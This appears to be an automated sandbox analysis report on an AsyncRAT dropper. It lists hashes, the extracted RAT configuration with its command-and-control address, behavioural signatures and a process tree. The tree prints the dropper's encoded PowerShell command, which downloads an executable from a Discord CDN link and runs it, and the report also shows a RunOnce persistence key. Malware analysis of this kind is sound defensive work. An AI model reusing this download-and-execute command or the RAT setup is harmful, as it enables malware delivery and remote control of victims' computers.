Analysis
-
max time kernel
140s -
max time network
152s -
platform
windows10-1703_x64 -
resource
win10-20220901-en -
resource tags
arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system -
submitted
13-12-2022 07:07
Static task
static1
Behavioral task
behavioral1
Sample
9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe
Resource
win10-20220901-en
General
-
Target
9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe
-
Size
6KB
-
MD5
f3fd315aaf2c1b97a2e1544e0690bd98
-
SHA1
bfd46bae2e0d27cd480156d5eed9fae6aa89e0cf
-
SHA256
9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7
-
SHA512
aba0442d2156311c6e60f5e4094cba3be229e6e7633992e9d800ea507941c474fdad873f4728b8e2e36554a2d969925e4cd7b22daac5c29698c2138c6d39bcc8
-
SSDEEP
96:ZH1V79+uL1bhycGmIW3nO8YGNErlCFAY+slsvk+L/zetKDgd3ojlrl:ZVd9+uL1bhyc4We8/NErpYXsvk+UdY
Malware Config
Extracted
asyncrat
1.0.7
WindowsDefenderSmarttScreen
217.64.31.3:9742
WindowsDefenderSmarttScreen
-
delay
1
-
install
false
-
install_file
WindowsDefenderSmarttScreen.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2140-200-0x00000000054A0000-0x00000000054B2000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 4700 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
aas1ddfsa.exepid process 2140 aas1ddfsa.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
aas1ddfsa.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce aas1ddfsa.exe Set value (str) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe" aas1ddfsa.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 4700 powershell.exe 4700 powershell.exe 4700 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4700 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exepowershell.exedescription pid process target process PID 2916 wrote to memory of 4700 2916 9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe powershell.exe PID 2916 wrote to memory of 4700 2916 9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe powershell.exe PID 4700 wrote to memory of 2140 4700 powershell.exe aas1ddfsa.exe PID 4700 wrote to memory of 2140 4700 powershell.exe aas1ddfsa.exe PID 4700 wrote to memory of 2140 4700 powershell.exe aas1ddfsa.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe"C:\Users\Admin\AppData\Local\Temp\9860d052bfa11ccd500d2e6b53d5f236ad2e77738cf679d1445500b7fcf478b7.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAcQB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADIANQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA1ADEAOQAzADMAMwA1ADgANQAxADIANAAyADIAOQA5ADIALwAxADAANQAxADkAMwA4ADEAMAAyADAANgAwADUAMQA1ADQAMgA4AC8AVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAUwBtAGEAcgB0AHQAUwBjAHIAZQBlAG4ALgBlAHgAZQAnACwAIAA8ACMAbgBrAHUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBmAHAAYgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBiAHIAcAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBhAGEAcwAxAGQAZABmAHMAYQAuAGUAeABlACcAKQApADwAIwB6AHAAdAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBtAHEAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAeABrAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAYQBhAHMAMQBkAGQAZgBzAGEALgBlAHgAZQAnACkAPAAjAHEAdwB5ACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\aas1ddfsa.exe"C:\Users\Admin\AppData\Roaming\aas1ddfsa.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\aas1ddfsa.exeFilesize
4.2MB
MD5b60e44033994d1fde9a4b6f1338bfa04
SHA17f2cd8091276040ca011174269112099ec3e9bef
SHA256baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e
SHA512a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574
-
C:\Users\Admin\AppData\Roaming\aas1ddfsa.exeFilesize
4.2MB
MD5b60e44033994d1fde9a4b6f1338bfa04
SHA17f2cd8091276040ca011174269112099ec3e9bef
SHA256baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e
SHA512a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574
-
memory/2140-179-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-163-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-150-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-151-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-152-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-181-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-154-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-155-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-156-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-158-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-159-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-161-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-160-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-182-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-162-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-164-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-165-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-166-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-169-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-170-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-168-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-171-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-167-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-173-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-172-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-183-0x0000000000820000-0x0000000000C4E000-memory.dmpFilesize
4.2MB
-
memory/2140-175-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-176-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-177-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-178-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-146-0x0000000000000000-mapping.dmp
-
memory/2140-180-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-153-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-148-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-174-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-184-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-185-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-186-0x00000000054D0000-0x000000000556C000-memory.dmpFilesize
624KB
-
memory/2140-187-0x0000000005A70000-0x0000000005F6E000-memory.dmpFilesize
5.0MB
-
memory/2140-188-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-189-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-190-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-191-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-192-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-193-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-194-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-195-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-196-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-198-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-197-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-199-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-200-0x00000000054A0000-0x00000000054B2000-memory.dmpFilesize
72KB
-
memory/2140-201-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-202-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-203-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-204-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-205-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-206-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-207-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-208-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2140-209-0x0000000077570000-0x00000000776FE000-memory.dmpFilesize
1.6MB
-
memory/2916-120-0x00000000004E0000-0x00000000004E8000-memory.dmpFilesize
32KB
-
memory/4700-121-0x0000000000000000-mapping.dmp
-
memory/4700-126-0x000001E675930000-0x000001E675952000-memory.dmpFilesize
136KB
-
memory/4700-129-0x000001E675AE0000-0x000001E675B56000-memory.dmpFilesize
472KB